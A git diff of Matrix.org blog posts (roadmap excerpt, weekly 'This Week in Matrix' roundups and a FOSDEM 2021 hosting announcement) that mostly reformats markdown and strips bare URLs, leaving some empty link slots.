pre-alpha next-generation P2P overlay network - and then sort out account portability, and privacy-preserving store-and-forward. We’re hoping to see the live P2P Matrix network turn on this year, however, and ideally see homeservers (probably Dendrite) multihoming by default on both today’s Matrix as well as the P2P network, acting as gateways between the two. -* **Threads** - Cerulean is excellent proof for how threading could work in Matrix; we just need to get it implemented in Element! -* **Peeking** - Peeking is going to become so much more important for participating in non-chat rooms, such as Spaces, Profiles, Reputation feeds, etc. We’ll finish it in Dendrite, and then implement it in Synapse too. -* **Decentralised Reputation **- Cerulean has the first implementation of decentralised reputation for experimentation purposes, and we’ll be working solidly on it over the coming year to empower users to counter abuse by applying their own subjective reputation feeds to their content. -* **Incremental Signup **- Once upon a time, Element (Riot) had the ability to gradually sign-up without the user even really realising they’d signed up. We want to bring it back - perhaps this will be the year? -* **DMLS** - with the first [MLS](https://datatracker.ietf.org/wg/mls) messages flowing over Matrix, we want to at least provide MLS as an option alongside Megolm for encryption. It should be radically more performant in larger rooms (logarithmic rather than linear complexity), but lacks deniability (the assurance that you cannot prove a user said something in retrospect, in order to blackmail them or similar), and is still unproven technology. We’ll aim to prove it in 2021. -* **E2EE improvements** - We improved E2EE immeasurably in 2020; turning it on by default, adding cross-signing, QR code verification etc. But usability and reliability can still be improved. We’ll be looking at further simplifying the UX, and potentially combining together your login password and recovery/security passphrase so you only have one password to remember going forwards. -* **Hydrogen** - We’ll keep polishing Hydrogen, bringing it towards feature parity with Element, ensure its SDK is available for other clients, and start seeing how we can use it in Element itself. For instance, the Spaces-aware RoomList in Element may well end up stealing alien technology from Hydrogen. -* **matrix-rust-sdk** - Similarly, we’ll keep polishing matrix-rust-sdk; stealing inspiration from Hydrogen’s state model, and start migrating bits of the native mobile Element apps to use it. -* **The Spec** - get Will’s new spec website live, and get improving all the surrounding material too. +* **Spaces** - see above :) +* **Social Login** - we’re going to be making Single Sign On (SSO) a proper first-class citizen in Matrix (and Synapse and Element) in the coming weeks, and enabling it on the matrix.org homeserver, so users can do single-click logins via Github/Gitlab/Google and other SSO providers. Obviously this means your Matrix identity will be beholden to your identity provider (IdP), but this may well be preferable for many users who just want a single-click way to enter Matrix and don’t care about being tied to a given IdP. +* **VoIP** - we have a *lot* of work in flight at the moment to make 1:1 VoIP super robust. Some of it has already landed in Element, but the rest will land in the coming weeks - and then we’re hoping to revisit Matrix-native group voice/video. +* **Voice messaging** - we’re hoping to finally add voice messaging to Element (and Matrix) +* **Location sharing** - ...and this too. +* **P2P**- Lots of P2P work on the horizon, now Dendrite is increasingly stable. First of all we need to iterate more on Pinecone, our pre-alpha next-generation P2P overlay network - and then sort out account portability, and privacy-preserving store-and-forward. We’re hoping to see the live P2P Matrix network turn on this year, however, and ideally see homeservers (probably Dendrite) multihoming by default on both today’s Matrix as well as the P2P network, acting as gateways between the two. +* **Threads** - Cerulean is excellent proof for how threading could work in Matrix; we just need to get it implemented in Element! +* **Peeking** - Peeking is going to become so much more important for participating in non-chat rooms, such as Spaces, Profiles, Reputation feeds, etc. We’ll finish it in Dendrite, and then implement it in Synapse too. +* **Decentralised Reputation**- Cerulean has the first implementation of decentralised reputation for experimentation purposes, and we’ll be working solidly on it over the coming year to empower users to counter abuse by applying their own subjective reputation feeds to their content. +* **Incremental Signup**- Once upon a time, Element (Riot) had the ability to gradually sign-up without the user even really realising they’d signed up. We want to bring it back - perhaps this will be the year? +* **DMLS** - with the first [MLS](https://datatracker.ietf.org/wg/mls) messages flowing over Matrix, we want to at least provide MLS as an option alongside Megolm for encryption. It should be radically more performant in larger rooms (logarithmic rather than linear complexity), but lacks deniability (the assurance that you cannot prove a user said something in retrospect, in order to blackmail them or similar), and is still unproven technology. We’ll aim to prove it in 2021. +* **E2EE improvements** - We improved E2EE immeasurably in 2020; turning it on by default, adding cross-signing, QR code verification etc. But usability and reliability can still be improved. We’ll be looking at further simplifying the UX, and potentially combining together your login password and recovery/security passphrase so you only have one password to remember going forwards. +* **Hydrogen** - We’ll keep polishing Hydrogen, bringing it towards feature parity with Element, ensure its SDK is available for other clients, and start seeing how we can use it in Element itself. For instance, the Spaces-aware RoomList in Element may well end up stealing alien technology from Hydrogen. +* **matrix-rust-sdk** - Similarly, we’ll keep polishing matrix-rust-sdk; stealing inspiration from Hydrogen’s state model, and start migrating bits of the native mobile Element apps to use it. +* **The Spec** - get Will’s new spec website live, and get improving all the surrounding material too. I’m sure I’m missing lots here, but these are the ones which pop immediately to mind. You can also check [Element's public roadmap](https://github.com/vector-im/roadmap/projects/1), which covers all the core Matrix work donated by Element (as well as everything else Element is getting up to). diff --git a/content/blog/2020/12/2020-12-30-this-week-in-matrix-2020-12-30.md b/content/blog/2020/12/2020-12-30-this-week-in-matrix-2020-12-30.md index 137a2d498..268f62f73 100644 --- a/content/blog/2020/12/2020-12-30-this-week-in-matrix-2020-12-30.md +++ b/content/blog/2020/12/2020-12-30-this-week-in-matrix-2020-12-30.md @@ -12,7 +12,7 @@ category = ["This Week in Matrix"] ### The Matrix Holiday Special 2020 -If you didn't read it already, I encourage you to read [Matthew](https://matrix.to/#/@matthew:matrix.org)'s [Matrix Holiday Special 2020](https://matrix.org/blog/2020/12/25/the-matrix-holiday-special-2020) post. So much has happened this year! +If you didn't read it already, I encourage you to read [Matthew](https://matrix.to/#/@matthew:matrix.org)'s [Matrix Holiday Special 2020](https://matrix.org/blog/2020/12/25/the-matrix-holiday-special-2020) post. So much has happened this year! [Oleg](https://matrix.to/#/@oleg:fiksel.info) responded: @@ -28,13 +28,13 @@ If you didn't read it already, I encourage you to read [Matthew](https://matrix. > What a wonderful year has been for matrix, and it looks like next year will be equally as exciting. I'm HYPED. -Honestly, I'm hyped too. Simple statements like "loads of different universities have rolled out Matrix for collaboration" don't quite capture how much work is going on, and how much excitement there is to get the growth in the network we're soon to see. +Honestly, I'm hyped too. Simple statements like "loads of different universities have rolled out Matrix for collaboration" don't quite capture how much work is going on, and how much excitement there is to get the growth in the network we're soon to see. ### Homeserver versions graphs [Chris](https://matrix.to/#/@chris:settgast.org) offered: -> For the first time (since recording the homeserver stats from Feb 2019) a non-synapse homeserver is now in the top 15 deployed homeserver versions: Welcome Dendrite 0.3.4: https://graph.settgast.org/d/z1nplqXik/matrix?orgId=1 +> For the first time (since recording the homeserver stats from Feb 2019) a non-synapse homeserver is now in the top 15 deployed homeserver versions: Welcome Dendrite 0.3.4: How exciting is that! If you haven't already, do check out some of the history on these charts - big thanks to Chris for making this available. @@ -46,7 +46,7 @@ How exciting is that! If you haven't already, do check out some of the history o > Created a new Ansible role to easily install a Dendrite server. Currently only tested on Ubuntu 20.04 with Ansible 2.9. Uses Docker to maintain a monolithic Dendrite. Requires but does not include PostgreSQL. Designed to easily be used with Traefik as reverse proxy. > -> https://git.feneas.org/jaywink/ansible-dendrite +> ## Dept of Bridges 🌉 @@ -64,7 +64,7 @@ Thanks for sharing Robin! [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) said: -> The KDE Community is excited to announce the first release of NeoChat, a Matrix Client based on Spectral and libQuotient. With the power of Qt and KDE Frameworks, NeoChat currently runs on mobile and desktop Linux devices, Android and Windows. You can read more about NeoChat and how to get it at https://carlschwan.eu/2020/12/23/announcing-neochat-1.0-the-kde-matrix-client/ +> The KDE Community is excited to announce the first release of NeoChat, a Matrix Client based on Spectral and libQuotient. With the power of Qt and KDE Frameworks, NeoChat currently runs on mobile and desktop Linux devices, Android and Windows. You can read more about NeoChat and how to get it at Congrats on the 1.0! I think we'll hear much more from the team next year. 🎉 @@ -112,9 +112,9 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) said: -> We released v0.3.0 🎉 Feel free to follow development at [#timetracking-bot:famedly.de](https://matrix.to/#/#timetracking-bot:famedly.de) or https://gitlab.com/famedly/bots/timetracking . +> We released v0.3.0 🎉 Feel free to follow development at [#timetracking-bot:famedly.de](https://matrix.to/#/#timetracking-bot:famedly.de) or . > -> Also checkout the ansible role for the timetrackingbot: https://gitlab.com/famedly/ansible/collections/matrix/-/tree/main/roles/timetracking-bot +> Also checkout the ansible role for the timetrackingbot: > > #### Changelog > @@ -129,7 +129,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > #### Features > -> * Allow units in `!record`. For extended syntax see https://docs.rs/parse_duration/2.1.0/parse_duration/index.html +> * Allow units in `!record`. For extended syntax see > > * Better `!stats` command output (hours and minutes instead of pure minutes) > @@ -141,7 +141,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > #### Breaking changes > -> See https://gitlab.com/famedly/bots/timetracking/-/blob/v0.3.0/UPGRADING.md +> See ### Middleman @@ -153,7 +153,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > Coming up is more configuration on for example ignoring non-mentions in rooms with lots of members and hopefully support for images and reactions in the not too long future. > -> Find it here: https://github.com/elokapina/middleman (built with nio-template). +> Find it here: (built with nio-template). ![2020-12-30-MVAuG-demo.gif](/blog/img/2020-12-30-MVAuG-demo.gif) @@ -171,7 +171,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) reported something interesting: -> Threema published the source code for their apps this week: https://threema.ch/en/open-source +> Threema published the source code for their apps this week: > > While that is not strictly Matrix related, it is great to see other E2EE enabled chat systems publishing the source code for their clients. It's the only way to verify their encryption actually works and is secure. > diff --git a/content/blog/2021/01/2021-01-04-taking-fosdem-online-via-matrix.md b/content/blog/2021/01/2021-01-04-taking-fosdem-online-via-matrix.md index 7dfc3b9e6..c61f2c1ca 100644 --- a/content/blog/2021/01/2021-01-04-taking-fosdem-online-via-matrix.md +++ b/content/blog/2021/01/2021-01-04-taking-fosdem-online-via-matrix.md @@ -27,30 +27,30 @@ And so, over the last few weeks we’ve been hard at work with the FOSDEM team t Firstly, FOSDEM will have its own dedicated Matrix server at fosdem.org (hosted by [EMS](https://element.io/matrix-services) along with a tonne of Jitsi’s) acting as the social backbone for the event. Matrix is particularly well suited for this, because: -* We’re an [open standard](https://matrix.org/docs/spec) comms protocol with an open network run under a [non-profit foundation](https://matrix.org/foundation) with loads of [open source implementations](https://matrix.org/docs/projects/try-matrix-now/) (including the reference ones): folks can jump on board and participate via their own servers, clients, bridges, bots etc. -* We provide official bridges through to IRC and XMPP (and most other chat systems), giving as much openness and choice as possible - if folks want to participate via Freenode and XMPP they can! -* We’re built with large virtual communities in mind (e.g. Mozilla, KDE, Matrix itself) - for instance, we’ve worked a lot on [moderation](https://matrix.org/docs/guides/moderation) recently. -* We’ve spent a lot of time improving [widgets](https://youtu.be/Fk7YRiFIwZ4?t=251) recently: these give the ability to embed arbitrary webapps into chatrooms - letting you add livestreams, video conferences, schedules, Q&A dashboards etc, augmenting a plain old chatroom into a much richer virtual experience that can hopefully capture the semantics and requirements of an event like FOSDEM. +* We’re an [open standard](https://matrix.org/docs/spec) comms protocol with an open network run under a [non-profit foundation](https://matrix.org/foundation) with loads of [open source implementations](https://matrix.org/docs/projects/try-matrix-now/) (including the reference ones): folks can jump on board and participate via their own servers, clients, bridges, bots etc. +* We provide official bridges through to IRC and XMPP (and most other chat systems), giving as much openness and choice as possible - if folks want to participate via Freenode and XMPP they can! +* We’re built with large virtual communities in mind (e.g. Mozilla, KDE, Matrix itself) - for instance, we’ve worked a lot on [moderation](https://matrix.org/docs/guides/moderation) recently. +* We’ve spent a lot of time improving [widgets](https://youtu.be/Fk7YRiFIwZ4?t=251) recently: these give the ability to embed arbitrary webapps into chatrooms - letting you add livestreams, video conferences, schedules, Q&A dashboards etc, augmenting a plain old chatroom into a much richer virtual experience that can hopefully capture the semantics and requirements of an event like FOSDEM. We’re currently in the middle of setting up the server with a dedicated [Element](https://element.io) as the default client, but what we’re aiming for is: -* Attendees can lurk as read-only guests in devrooms without needing to set up accounts (or they can of course use their existing Matrix/IRC/XMPP accounts) -* Every devroom and track will have its own chatroom, where the audience can hang out and view the livestream of that particular devroom (using the normal FOSDEM video livestream system). There’ll also be a ‘backstage’ room per track for coordination between the devroom organisers and the speakers. -* The talks themselves will be prerecorded to minimise risk of disaster, but each talk will have a question & answer session at the end which will be a live Jitsi broadcast from the speaker and a host who will relay questions from the devroom. -* Each talk will have a dedicated room too, where after the official talk slot the audience can pop in and chat to the speaker more informally if they’re available (by text and/or by moderated jitsi). During the talk, this room will act as the ‘stage’ for the speaker & host to watch the livestream and conduct the question & answer session. -* Every stand will also have its own chatroom and optional jitsi+livestream, as will BOFs or other adhoc events, so folks can get involved both by chat and video, to get as close to the real event as possible (although it’s unlikely we’ll capture the unique atmospheric conditions of K building, which may or may not be a bug ;) -* There’ll also be a set of official support, social etc rooms - and of course folks can always create their own! Unfortunately folks will have to bring their own beer though :( -* All of this will be orchestrated by a Matrix bot (which is rapidly taking shape over at [https://github.com/matrix-org/conference-bot](https://github.com/matrix-org/conference-bot)), responsible for orchestrating the hundreds of required rooms, setting up the right widgets and permissions, setting up bridges to IRC & XMPP, and keeping everything in sync with the official live [FOSDEM schedule](https://fosdem.org/2021/schedule/xml). +* Attendees can lurk as read-only guests in devrooms without needing to set up accounts (or they can of course use their existing Matrix/IRC/XMPP accounts) +* Every devroom and track will have its own chatroom, where the audience can hang out and view the livestream of that particular devroom (using the normal FOSDEM video livestream system). There’ll also be a ‘backstage’ room per track for coordination between the devroom organisers and the speakers. +* The talks themselves will be prerecorded to minimise risk of disaster, but each talk will have a question & answer session at the end which will be a live Jitsi broadcast from the speaker and a host who will relay questions from the devroom. +* Each talk will have a dedicated room too, where after the official talk slot the audience can pop in and chat to the speaker more informally if they’re available (by text and/or by moderated jitsi). During the talk, this room will act as the ‘stage’ for the speaker & host to watch the livestream and conduct the question & answer session. +* Every stand will also have its own chatroom and optional jitsi+livestream, as will BOFs or other adhoc events, so folks can get involved both by chat and video, to get as close to the real event as possible (although it’s unlikely we’ll capture the unique atmospheric conditions of K building, which may or may not be a bug ;) +* There’ll also be a set of official support, social etc rooms - and of course folks can always create their own! Unfortunately folks will have to bring their own beer though :( +* All of this will be orchestrated by a Matrix bot (which is rapidly taking shape over at [https://github.com/matrix-org/conference-bot](https://github.com/matrix-org/conference-bot)), responsible for orchestrating the hundreds of required rooms, setting up the right widgets and permissions, setting up bridges to IRC & XMPP, and keeping everything in sync with the official live [FOSDEM schedule](https://fosdem.org/2021/schedule/xml). **N.B. This is aspirational, and is all still subject to change**, but that said - so far it’s all coming together pretty well, and hopefully our next update will be opening up the rooms and the server so that folks can get comfortable in advance of the event. Huge thanks go to the FOSDEM team for trusting us to sort out the social/chat layer of FOSDEM 2021 - we will do everything we can to make it as successful and as inclusive as we possibly can! :) -## P.S. We need help! +## P.S. We need help FOSDEM is only a handful of weeks away, and we have our work cut out to bring this all together in time. There are a few areas where we could really do with some help: -* Folks on XMPP often complain that the [Bifröst](https://github.com/matrix-org/matrix-bifrost) Matrix<->XMPP bridge [doesn’t support MAMs](https://github.com/matrix-org/matrix-bifrost/issues/64) - meaning that if XMPP users lose connection, they lose scrollback. We’re not going to have time to fix this ourselves in time, so this would be a great time for XMPP folks who grok xmpp.js to come get involved and help to ensure the best possible XMPP experience! (Similarly on other bifrost shortcomings). -* It’d be really nice to be able to render nice schedule widgets for each devroom, and embed the overall schedule in the support rooms etc. The current HTML schedules at [https://fosdem.org/2021/schedule/day/saturday/](https://fosdem.org/2021/schedule/day/saturday/) and (say) [https://fosdem.org/2021/schedule/room/vcollab/](https://fosdem.org/2021/schedule/room/vcollab/) don’t exactly fit - if someone could write a thing which renders them at (say) 2:5 aspect ratio so they can fit nicely down the side of a chatroom then that could be awesome! -* While we’ll bridge all the official rooms over to Freenode, it’d be even nicer if people could just hop straight into *any* room on the FOSDEM server (or beyond) via IRC - effectively exposing the whole thing as an IRC network for those who prefer IRC. We have a project to do this: [matrix-ircd](https://github.com/matrix-org/matrix-ircd), but it almost certainly needs more love and polish before it could be used for something as big as this. If you like Rust and know Matrix, please jump in and get involved! -* If you just want to follow along or help out, then we’ve created a general room for discussion over at [#fosdem-matrix:fosdem.org](https://matrix.to/#/#fosdem-matrix:fosdem.org). It’d be awesome to have as many useful bots & widgets as possible to help things along. +* Folks on XMPP often complain that the [Bifröst](https://github.com/matrix-org/matrix-bifrost) Matrix<->XMPP bridge [doesn’t support MAMs](https://github.com/matrix-org/matrix-bifrost/issues/64) - meaning that if XMPP users lose connection, they lose scrollback. We’re not going to have time to fix this ourselves in time, so this would be a great time for XMPP folks who grok xmpp.js to come get involved and help to ensure the best possible XMPP experience! (Similarly on other bifrost shortcomings). +* It’d be really nice to be able to render nice schedule widgets for each devroom, and embed the overall schedule in the support rooms etc. The current HTML schedules at [https://fosdem.org/2021/schedule/day/saturday/](https://fosdem.org/2021/schedule/day/saturday/) and (say) [https://fosdem.org/2021/schedule/room/vcollab/](https://fosdem.org/2021/schedule/room/vcollab/) don’t exactly fit - if someone could write a thing which renders them at (say) 2:5 aspect ratio so they can fit nicely down the side of a chatroom then that could be awesome! +* While we’ll bridge all the official rooms over to Freenode, it’d be even nicer if people could just hop straight into *any* room on the FOSDEM server (or beyond) via IRC - effectively exposing the whole thing as an IRC network for those who prefer IRC. We have a project to do this: [matrix-ircd](https://github.com/matrix-org/matrix-ircd), but it almost certainly needs more love and polish before it could be used for something as big as this. If you like Rust and know Matrix, please jump in and get involved! +* If you just want to follow along or help out, then we’ve created a general room for discussion over at [#fosdem-matrix:fosdem.org](https://matrix.to/#/#fosdem-matrix:fosdem.org). It’d be awesome to have as many useful bots & widgets as possible to help things along. diff --git a/content/blog/2021/01/2021-01-08-this-week-in-matrix-2021-01-08.md b/content/blog/2021/01/2021-01-08-this-week-in-matrix-2021-01-08.md index b0a461ccc..0ea43c03f 100644 --- a/content/blog/2021/01/2021-01-08-this-week-in-matrix-2021-01-08.md +++ b/content/blog/2021/01/2021-01-08-this-week-in-matrix-2021-01-08.md @@ -20,7 +20,7 @@ image = "https://matrix.org/blog/img/2021-01-08-ml.png" [Matthew](https://matrix.to/#/@matthew:matrix.org) reported: -> FOSDEM 2021 is going to happen via Matrix: https://matrix.org/blog/2021/01/04/taking-fosdem-online-via-matrix +> FOSDEM 2021 is going to happen via Matrix: ## Dept of Spec 📜 @@ -28,9 +28,9 @@ image = "https://matrix.org/blog/img/2021-01-08-ml.png" [wbamberg](https://matrix.to/#/@wbamberg:matrix.org) announced: -> The spec core team has continued trying out the new spec (preview at: https://adoring-einstein-5ea514.netlify.app/). We've also finished applying design updates and implemented a fancy scrolling table of contents. +> The spec core team has continued trying out the new spec (preview at: ). We've also finished applying design updates and implemented a fancy scrolling table of contents. > -> We have an outline for how to switch over to the new platform: https://github.com/matrix-org/matrix-doc/issues/2906 and have started work on that this week. +> We have an outline for how to switch over to the new platform: and have started work on that this week. ## Dept of Servers 🏢 @@ -44,12 +44,13 @@ Synapse is a popular homeserver written in Python. > > 1. We published [1.25.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.25.0rc1)! We'll have full release notes next week, but highlights include: > -> * **Deprecated Python 3.5 and Postgres 9.5** per [#8782](https://github.com/matrix-org/synapse/issues/8782); more details to come with the formal release announcement. +> * **Deprecated Python 3.5 and Postgres 9.5** per [#8782](https://github.com/matrix-org/synapse/issues/8782); more details to come with the formal release announcement. > -> * People can pick their own username when using Single Sign-On, right from within Synapse itself. -> * Spam-checker modules can now use `async` Python methods. +> * People can pick their own username when using Single Sign-On, right from within Synapse itself. +> * Spam-checker modules can now use `async` Python methods. +> +> * New ways to [restrict allowed IP address ranges](https://github.com/matrix-org/synapse/blob/v1.25.0rc1/UPGRADE.rst#upgrading-to-v1250) for outgoing requests from Synapse. > -> * New ways to [restrict allowed IP address ranges](https://github.com/matrix-org/synapse/blob/v1.25.0rc1/UPGRADE.rst#upgrading-to-v1250) for outgoing requests from Synapse. > 2. [Matrix is hosting FOSDEM](https://matrix.org/blog/2021/01/04/taking-fosdem-online-via-matrix)! Which means that most of the Synapse team is going to be focused on security, stability, and performance until February to ensure that our virtual Université Libre de Bruxelles is as reliable and welcoming the real thing. > > 3. Speaking of security, we have some big (but good!) news to announce next week. Watch this space... 🕵️🇪🇺💶 @@ -113,7 +114,7 @@ This reply-in-notification feature is really cool! > > Furthermore, we now also have experimental support for [MSC2867](https://github.com/matrix-org/matrix-doc/pull/2867), which allows you to mark rooms as unread. Note that for now, this feature needs to be enabled in the labs settings, since the MSC is still unstable and not supported by many clients, which means other clients might ignore whether the user has manually marked a chat as unread and thus display it as read anyway. > -> Code on GitHub: https://github.com/SchildiChat/SchildiChat-android +> Code on GitHub: > > Matrix room: [#schildichat-android:matrix.org](https://matrix.to/#/#schildichat-android:matrix.org) @@ -143,7 +144,7 @@ We progressed on several things this week. They are not yet merged but almost. T [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) reported: -> https://github.com/MTRNord/mrsbfh +> > > I took the time and started a small (command)bot framework/utility crate which operates on top of the matrix rust sdk. > @@ -186,7 +187,7 @@ That is quite a project name! [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) announced: -> I found some time to actually host the docs our library currently has. It is still severely lacking, but it may be interesting to some people like people contributing to Nheko. I'm going to write some higher level docs over the next few weeks, so that people can actually see how to use the library and have some inline examples and more extensive explanations. But for now you can find the barebones descriptions we always had in the source code here: http://nheko-reborn.pages.nheko.im/mtxclient/index.html +> I found some time to actually host the docs our library currently has. It is still severely lacking, but it may be interesting to some people like people contributing to Nheko. I'm going to write some higher level docs over the next few weeks, so that people can actually see how to use the library and have some inline examples and more extensive explanations. But for now you can find the barebones descriptions we always had in the source code here: Providing docs always gets a big thumbs-up from me! @@ -212,13 +213,13 @@ More about *Videosprechstunde* later... ## Dept of Ops 🛠 -### GitHub action for Matrix! +### GitHub action for Matrix [select](https://matrix.to/#/@select:matrix.org) said: -> I recently started a new freelance project and got them to use Matrix as our main communication channel. Since they chose GitHub as our source code platform I got into writing continuous integrations and delivery scripts. But one thing was missing: notifications in our Matrix room. I looked into the GitHub Action Marketplace and found 2 actions that could do that, so that was nice ... but they could not send e2e encrypted messages. Therefore I took up my old issue on how to make e2e encryption work with the js-sdk (https://github.com/matrix-org/matrix-js-sdk/issues/731) with some new found energy and finally solved it. The result is this GitHub action: +> I recently started a new freelance project and got them to use Matrix as our main communication channel. Since they chose GitHub as our source code platform I got into writing continuous integrations and delivery scripts. But one thing was missing: notifications in our Matrix room. I looked into the GitHub Action Marketplace and found 2 actions that could do that, so that was nice ... but they could not send e2e encrypted messages. Therefore I took up my old issue on how to make e2e encryption work with the js-sdk () with some new found energy and finally solved it. The result is this GitHub action: > -> https://github.com/select/matrix-message-e2e +> > > While it's almost a full success story there is still one issue to solve: While the action successfully sends e2e encrypted messages the job is marked as failed. My guess it that while sending the messages the matrix client outputs on stderr due to some encryption errors (unknown device keys, ...) @@ -230,7 +231,7 @@ More about *Videosprechstunde* later... > Want to play the guessing game Battleship via Matrix? I'm building one to be ready for FOSDEM. Follow my progress, bring in ideas and play development versions: > -> https://matrix.to/#/#battleship:vector.modular.im?via=vector.modular.im&via=t2l.io&via=federator.dev +> ### matrix-archive diff --git a/content/blog/2021/01/2021-01-15-this-week-in-matrix-2021-01-15.md b/content/blog/2021/01/2021-01-15-this-week-in-matrix-2021-01-15.md index 9c5eecfe6..920bc0e30 100644 --- a/content/blog/2021/01/2021-01-15-this-week-in-matrix-2021-01-15.md +++ b/content/blog/2021/01/2021-01-15-this-week-in-matrix-2021-01-15.md @@ -92,8 +92,6 @@ Synapse is a popular homeserver written in Python. > > We're also thinking about how best to tackle self-service plumbing so you can pipe a Gitter room into your existing Matrix room. And the bigger idea of connecting various bridged portal rooms together. So you can connect your community on Gitter <-> Matrix <-> IRC seamlessly for example. The current thinking is introducing this as a native Matrix concept so you can easily connect any Matrix room to another Matrix room. We'd love to hear your thoughts in [MSC2923](https://github.com/matrix-org/matrix-doc/pull/2923). - - ### [mx-puppet-groupme](https://gitlab.com/robintown/mx-puppet-groupme) [Robin](https://matrix.to/#/@robintown:townsendandsmith.ml) said: @@ -102,8 +100,6 @@ Synapse is a popular homeserver written in Python. > > We also now have a Dockerfile (thanks, Trey B.!), double puppeting support was added, the code was ported to Typescript, and it should now work with older versions of Node. So at this point the bridge is basically feature-complete! As usual, send any questions, bugs, or feature requests to [GitLab](https://gitlab.com/robintown/mx-puppet-groupme) or [Matrix](https://matrix.to/#/#mx-puppet-groupme:townsendandsmith.ml). 💜 - - ### mautrix-facebook [Tulir](https://matrix.to/#/@tulir:maunium.net) told us: @@ -120,9 +116,7 @@ Synapse is a popular homeserver written in Python. [Carl Schwan](https://matrix.to/#/@carl:kde.org) told us: -> NeoChat 1.0.1 was released with a few important bugfixes. https://carlschwan.eu/2021/01/13/neochat-1.0.1-first-bugfix-release/. On the unstable branch, we continued to improve the integration with Plasma. We now display the unread count in the taskbar and we are getting inline replies too thanks to the work of [Kai Uwe Broulik](https://invent.kde.org/frameworks/knotifications/-/merge_requests/28) in Knotifications. Another important change is that rooms can now be opened in a new separate window. - - +> NeoChat 1.0.1 was released with a few important bugfixes. . On the unstable branch, we continued to improve the integration with Plasma. We now display the unread count in the taskbar and we are getting inline replies too thanks to the work of [Kai Uwe Broulik](https://invent.kde.org/frameworks/knotifications/-/merge_requests/28) in Knotifications. Another important change is that rooms can now be opened in a new separate window. ![2021-01-15-1m-hE-image.png](/blog/img/2021-01-15-1m-hE-image.png) @@ -168,7 +162,7 @@ We’ve now merged [support for multiple identity providers](https://github.com/ #### Web -Element Web 1.7.17-rc.1 is now available at https://staging.element.io, including: +Element Web 1.7.17-rc.1 is now available at , including: * Fixed avatar upload prompt layering issues * Added VoIP call transfer @@ -227,7 +221,7 @@ Element iOS [1.1.4](https://github.com/vector-im/element-ios/releases/tag/v1.1.4 [p-e-w](https://matrix.to/#/@p-e-w:matrix.org) announced: -> PingPong measures transport latencies on Matrix networks. It connects to two Matrix accounts simultaneously, and bounces messages back and forth between them. It aggregates all information in an intuitive terminal user interface, and automatically computes statistics. Source code and more information are available at https://github.com/p-e-w/pingpong. +> PingPong measures transport latencies on Matrix networks. It connects to two Matrix accounts simultaneously, and bounces messages back and forth between them. It aggregates all information in an intuitive terminal user interface, and automatically computes statistics. Source code and more information are available at . > > I have been working on this for a while now and I believe it is ready for others to use at this point. No binary releases yet, the program must be built from source. I only have a Linux development system currently, so feedback on whether it works on macOS and especially Windows is very welcome. @@ -250,16 +244,16 @@ Very interesting new project! I'm thinking of setting this up as I'd planned to > > As you will see there are only empty categories. This is due to the registration bot still being in work as well as missing documentation for it. > -> For the progress you can also take a look at https://github.com/keymaker-mx/keymaker/projects/1 +> For the progress you can also take a look at > -> Check the current page out at: https://homeservers.mx https://joinmatrix.rocks/ +> Check the current page out at: > > Join development and discussions at [#serverlist:nordgedanken.dev](https://matrix.to/#/#serverlist:nordgedanken.dev) -> Check out the Code at: https://github.com/keymaker-mx +> Check out the Code at: ![2021-01-15-HNiKj-Screenshot_20210113_225623.png](/blog/img/2021-01-15-HNiKj-Screenshot_20210113_225623.png) -This is really awesome progress! Not quite there but we'll keep a close watch. 👀 +This is really awesome progress! Not quite there but we'll keep a close watch. 👀 ## Dept of Guides 🧭 diff --git a/content/blog/2021/01/2021-01-22-this-week-in-matrix-2021-01-22.md b/content/blog/2021/01/2021-01-22-this-week-in-matrix-2021-01-22.md index d70d19657..f31464e90 100644 --- a/content/blog/2021/01/2021-01-22-this-week-in-matrix-2021-01-22.md +++ b/content/blog/2021/01/2021-01-22-this-week-in-matrix-2021-01-22.md @@ -20,7 +20,7 @@ image = "https://matrix.org/blog/img/2021-01-22-ml.png" [Eric Migicovsky](https://matrix.to/#/@eric:beeperhq.com) announced: -> _NovaChat is now_ +> *NovaChat is now* > > #### Beeper > @@ -36,8 +36,6 @@ image = "https://matrix.org/blog/img/2021-01-22-ml.png" > * We are also looking for contract iOS and Android developers familiar with the Element codebase to reskin the app with our new UI. Part-time roles with potential for full time. > * If you're interested, please send me a DM [@eric:beeperhq.com](https://matrix.to/#/@eric:beeperhq.com) - - ![2021-01-22-KJ5nT-room.png](/blog/img/2021-01-22-KJ5nT-room.png) ### GSOC 2021 @@ -47,12 +45,13 @@ Google Summer of Code has come around again! Last year was really successful for Since we need to [submit an application to Google within the next few weeks](https://summerofcode.withgoogle.com/how-it-works/#timeline), I have a request: if you admin a Matrix-related Open Source project and would like to have a student work with you over the summer, get involved! How to do this: -- Read [Google's own documentation](https://developers.google.com/open-source/gsoc/resources) on the setup. This is fairly thorough, and should get you most of the way there. -- Think about a task, that you consider a student should be able to contribute to your project over a 10-week/175-hour period. Try to come up with 2-3 of these. - - It should be a well-defined feature that genuinely contributes to the progress of your project, but maybe doesn't block other work on the critical path. - - This is a very important step, and one that may need some time and discussion. -- DM me (@benpa:bpulse.org) and we'll talk about next steps. +* Read [Google's own documentation](https://developers.google.com/open-source/gsoc/resources) on the setup. This is fairly thorough, and should get you most of the way there. +* Think about a task, that you consider a student should be able to contribute to your project over a 10-week/175-hour period. Try to come up with 2-3 of these. + + * It should be a well-defined feature that genuinely contributes to the progress of your project, but maybe doesn't block other work on the critical path. + * This is a very important step, and one that may need some time and discussion. +* DM me (@benpa:bpulse.org) and we'll talk about next steps. ## Dept of Spec 📜 @@ -66,7 +65,7 @@ This has been an labour of love for kitsune, kudos on his perseverance! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix 